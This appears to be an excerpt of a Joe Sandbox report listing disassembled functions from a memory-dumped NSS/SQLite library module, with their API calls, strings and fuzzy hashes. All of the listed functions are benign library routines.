Opcode Fuzzy Hash: edf06a46424bb106fdcdfadd6a500f725f2d52cf7b0ffcbe9e1912c29ee28fd7
Instruction Fuzzy Hash: 14E18EB1A08340DFD714CF18C480A6BBBF1AF85348F14892DE9DA97B61E771E849CB42

Function 6CDB8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CDB8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDB90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDB9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDB915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDB91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDB9209

Strings

UUUU, xrefs: 6CDB9255
3333, xrefs: 6CDB925E

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: b76434b89f15f607a46ed87ca9f21a077614252addcf38ad9d39b1208e190199
Instruction ID: 3bd7fc4a69fae3b848d77d2220d96a167f671be98c8c8ff687345f77a7989a28
Opcode Fuzzy Hash: b76434b89f15f607a46ed87ca9f21a077614252addcf38ad9d39b1208e190199
Instruction Fuzzy Hash: F7A191B2E001159BDB04CB69CC80B9EB7B5BF48328F194129E916B7791E736EC11CBA1

Function 6CC70FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CC6CA30: EnterCriticalSection.KERNEL32(?,?,?,6CCCF9C9,?,6CCCF4DA,6CCCF9C9,?,?,6CC9369A), ref: 6CC6CA7A
Part of subcall function 6CC6CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CC6CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CC7103E
EnterCriticalSection.KERNEL32(?), ref: 6CC71139
LeaveCriticalSection.KERNEL32(?), ref: 6CC71190
sqlite3_free.NSS3(00000000), ref: 6CC71227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CC7126E
sqlite3_free.NSS3(?), ref: 6CC7127F

Strings

winAccess, xrefs: 6CC7129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CC71267

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: febedc870b6d2f7db2c7badd70236879cc491bef0f995a012c92c0007a959c08
Instruction ID: 39824842f643faa26ddce856e557d92fbbb255d568f6cc9e77ac0b10c6a4aba6
Opcode Fuzzy Hash: febedc870b6d2f7db2c7badd70236879cc491bef0f995a012c92c0007a959c08
Instruction Fuzzy Hash: 957120327056059BDB349F69DCA5A6A3375FB86318F144229E91DC7A90FB30DD01CBA2

Function 6CC7AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CD9CF46,?,6CC6CDBD,?,6CD9BF31,?,?,?,?,?,?,?), ref: 6CC7B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CD9CF46,?,6CC6CDBD,?,6CD9BF31), ref: 6CC7B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CD9CF46,?,6CC6CDBD,?,6CD9BF31), ref: 6CC7B0A2
CloseHandle.KERNEL32(?,?,6CD9CF46,?,6CC6CDBD,?,6CD9BF31,?,?,?,?,?,?,?,?,?), ref: 6CC7B100
sqlite3_free.NSS3(?,?,00000002,?,6CD9CF46,?,6CC6CDBD,?,6CD9BF31,?,?,?,?,?,?,?), ref: 6CC7B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CD9CF46,?,6CC6CDBD,?,6CD9BF31), ref: 6CC7B12D

Part of subcall function 6CC69EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CC7C6FD,?,?,?,?,6CCCF965,00000000), ref: 6CC69F0E
Part of subcall function 6CC69EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CCCF965,00000000), ref: 6CC69F5D

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 0f26e836def9e73b87ab234134ba7158eb607cf7f29a2fae318dace4e1e3bf9a
Instruction ID: 154dbcd09a0e8435613551b9f2101e8eda8a4d47bdcbf16b55ec80c75bdc89fc
Opcode Fuzzy Hash: 0f26e836def9e73b87ab234134ba7158eb607cf7f29a2fae318dace4e1e3bf9a
Instruction Fuzzy Hash: FE91CDB1B042058FEB24DF65D884B6BB7B2FF85308F14462DE41A97A50FB34E855CB61

Function 6CD4BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CD4BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CD4BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CD4BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CD4BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CD4BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CD4BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CD4BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CD4BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CD4BE1E

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: f21d1be49601c1e5a7a5752e7478e510596ca8df2ad4dc2d463471ae086880ea
Instruction ID: 2c059c442c2fc09215233095fbf63f4f88828ae78199dbf81dacf39b9ffd4db2
Opcode Fuzzy Hash: f21d1be49601c1e5a7a5752e7478e510596ca8df2ad4dc2d463471ae086880ea
Instruction Fuzzy Hash: 5D219576E04A99B7FB0047569C42F8F32749BF178DF0C4524EB16AEAA1F710E41486B6

Function 6CDF8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CE414E4,6CDACC70), ref: 6CDF8D47
PR_GetCurrentThread.NSS3 ref: 6CDF8D98

Part of subcall function 6CCD0F00: PR_GetPageSize.NSS3(6CCD0936,FFFFE8AE,?,6CC616B7,00000000,?,6CCD0936,00000000,?,6CC6204A), ref: 6CCD0F1B
Part of subcall function 6CCD0F00: PR_NewLogModule.NSS3(clock,6CCD0936,FFFFE8AE,?,6CC616B7,00000000,?,6CCD0936,00000000,?,6CC6204A), ref: 6CCD0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CDF8E7B
htons.WSOCK32(?), ref: 6CDF8EDB
PR_GetCurrentThread.NSS3 ref: 6CDF8F99
PR_GetCurrentThread.NSS3 ref: 6CDF910A

Strings

%u.%u.%u.%u, xrefs: 6CDF8E74

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: f1c8cf9b28c8efff9664ca95cfb93dd3e2c8191744dd718c1a67abf8585b8e35
Instruction ID: 168c23861bdebbbaea6f14e174755ac48d9d6a4ee8ed18d2366cb6a4678ee533
Opcode Fuzzy Hash: f1c8cf9b28c8efff9664ca95cfb93dd3e2c8191744dd718c1a67abf8585b8e35
Instruction Fuzzy Hash: D2026B32D052518FDB148F1AC858766BBB2FF43308F1B826BD8A15BAB5C335D946C791

Function 6CC7EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

authorizer malfunction, xrefs: 6CC7F95C, 6CC7F9BF, 6CC7FA5E, 6CC7FA8B
view, xrefs: 6CC7F061, 6CC7F071, 6CC7FAB7
temporary table name must be unqualified, xrefs: 6CC7F734
%s %T already exists, xrefs: 6CC7FAC8
sqlite_master, xrefs: 6CC7F0AB, 6CC7F2DA, 6CC7F757, 6CC7F93E
there is already an index named %s, xrefs: 6CC7F9D7
sqlite_temp_master, xrefs: 6CC7F0A6, 6CC7F2D5
not authorized, xrefs: 6CC7F957, 6CC7F9BA
table, xrefs: 6CC7F05C, 6CC7FABC, 6CC7FAC7

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 29680bb9d965295f51da724997d248f45cf04961f00824b964568a17b7227d8a
Instruction ID: ef0c3f46d6a9a95af49763431e490527aa68ce044f8835580e5b7ca0db095a49
Opcode Fuzzy Hash: 29680bb9d965295f51da724997d248f45cf04961f00824b964568a17b7227d8a
Instruction Fuzzy Hash: 9A729E70E042058FDB24CF69C4C4BAABBF1FF49308F1581A9D8159BB52E775E856CBA0

Function 6CD99C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CC6C52B), ref: 6CD99D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD9A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD9A114

Strings

%s at line %d of [%.10s], xrefs: 6CD9A02E, 6CD9A10D
database corruption, xrefs: 6CD9A029, 6CD9A108
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD9A01F, 6CD9A0E4, 6CD9A0FE

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: faf69cac4f6d42a51577f42aebf92dbaebf33468bba19d24fced055d7bdd2648
Instruction ID: 395c8e910c0ab17e72c361e2fd415f868d8bee572e40b4330055ffdfb20eb6d2
Opcode Fuzzy Hash: faf69cac4f6d42a51577f42aebf92dbaebf33468bba19d24fced055d7bdd2648
Instruction Fuzzy Hash: 21228D79A08341DFC704CF29C49062BB7E1BF8A348F148A2DE9DE97A61D735E845CB42

Function 6CDB9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CC78637,?,?), ref: 6CDB9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CC78637), ref: 6CDB9ED6

Strings

%s at line %d of [%.10s], xrefs: 6CDB9ECF
database corruption, xrefs: 6CDB9ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDB9EC0

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: f204b29628d5be3c3c38e06a1a4aca08c580e025a7df3b1c6bdc292471f507a3
Instruction ID: fa77e712be5175feff9dca5cbc6ac54bf2e0c59ac4863e5ae1e296a584f65db7
Opcode Fuzzy Hash: f204b29628d5be3c3c38e06a1a4aca08c580e025a7df3b1c6bdc292471f507a3
Instruction Fuzzy Hash: BF81A4B1B011498FDB14CFAAC881ADEB7F6EF58314B148529E81ABB761E730ED45CB50

Function 6CDC7F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CDC81BC

Strings

out of memory, xrefs: 6CDC835B
BINARY, xrefs: 6CDC8126

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: b9d92aaa5faf168391be8504e7a7645b4a46793beb1a0ae0efa86e39302669f4
Instruction ID: 0da17163c556e03660cfd7a9d3b619f3a6337c5e3797f62ef75a2e847e720a50
Opcode Fuzzy Hash: b9d92aaa5faf168391be8504e7a7645b4a46793beb1a0ae0efa86e39302669f4
Instruction Fuzzy Hash: B452B071E04218DFDB14CF99C880BAEBBB6FF48318F15815ED855AB761D730A846CB91

Function 6CD49EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CD49ED6

Part of subcall function 6CD414C0: TlsGetValue.KERNEL32 ref: 6CD414E0
Part of subcall function 6CD414C0: EnterCriticalSection.KERNEL32 ref: 6CD414F5
Part of subcall function 6CD414C0: PR_Unlock.NSS3 ref: 6CD4150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CD49EE4

Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD410F3
Part of subcall function 6CD410C0: EnterCriticalSection.KERNEL32(?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4110C
Part of subcall function 6CD410C0: PL_ArenaAllocate.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41141
Part of subcall function 6CD410C0: PR_Unlock.NSS3(?,?,?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD41182
Part of subcall function 6CD410C0: TlsGetValue.KERNEL32(?,6CCE8802,00000000,00000008,?,6CCDEF74,00000000), ref: 6CD4119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CD49F38

Part of subcall function 6CD4D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CD49F0B), ref: 6CD4D03B
Part of subcall function 6CD4D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CD4D04E
Part of subcall function 6CD4D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CD4D07B
Part of subcall function 6CD4D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CD4D08E
Part of subcall function 6CD4D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CD4D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CD49F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CD49F59

Part of subcall function 6CD49D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CD49C5B), ref: 6CD49D82
Part of subcall function 6CD49D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CD49C5B), ref: 6CD49DA9
Part of subcall function 6CD49D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CD49C5B), ref: 6CD49DCE
Part of subcall function 6CD49D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CD49C5B), ref: 6CD49E43

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 090106e94b5d583ff99211c1f6ed58d1c04c3eab32d91068506546b8f3684fe8
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: 80112EB5F042019BF7109B66AC00B9B73E8AF9435CF148234EA0997770FB61E91886A1

Function 6CDFCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDFD086
PR_Malloc.NSS3(00000001), ref: 6CDFD0B9
PR_Free.NSS3(?), ref: 6CDFD138

Strings

>, xrefs: 6CDFCF5B

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: ba653af4c27b69c2ea2eee5c45d968283e057f1c7479636e8b718db661d60fc7
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: F9D13762B415464BFB244F788CA13EAB793A783374F5A432AD5718BBF5E619C843C341

Function 6CD9AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74b23ec528110d2160398a6a5f3bbe4a77948c67394712d53abc5a62e3d4d847
Instruction ID: 5a0e29fcc85f941340a092b77fef5ff08a45eb74276963e521310c590ec64bf4
Opcode Fuzzy Hash: 74b23ec528110d2160398a6a5f3bbe4a77948c67394712d53abc5a62e3d4d847
Instruction Fuzzy Hash: 93F1C275F01619CBDF24CF58D9403AA77F1AB8A308F164229C909D7BA0E778A952CFC1

Function 6CD8DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CC65001,?,00000003,00000000), ref: 6CD8DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CC65001,?), ref: 6CD8E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CC65001,?), ref: 6CD8E2DA

Strings

W, xrefs: 6CD8E111

Memory Dump Source

Source File: 00000000.00000002.1974762459.000000006CC61000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CC60000, based on PE: true

Associated: 00000000.00000002.1974707902.000000006CC60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975197180.000000006CDFF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975397087.000000006CE3E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975439225.000000006CE3F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975498814.000000006CE40000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1975539188.000000006CE45000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cc60000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 57f88f3e06d80525c7e26331d8bebf87e22cc1be6836a9cce48a4f4461da7b5b
Instruction ID: 078b87e103270e6dca2b3bfde2ad5dede2a9d2a8c6cb3a457166e3a005cd0016
Opcode Fuzzy Hash: 57f88f3e06d80525c7e26331d8bebf87e22cc1be6836a9cce48a4f4461da7b5b
Instruction Fuzzy Hash: 08C11939A06256CBDB04CF65C4907AAB7B2BF86308F284569DDA99BF61D7319C01CFD0

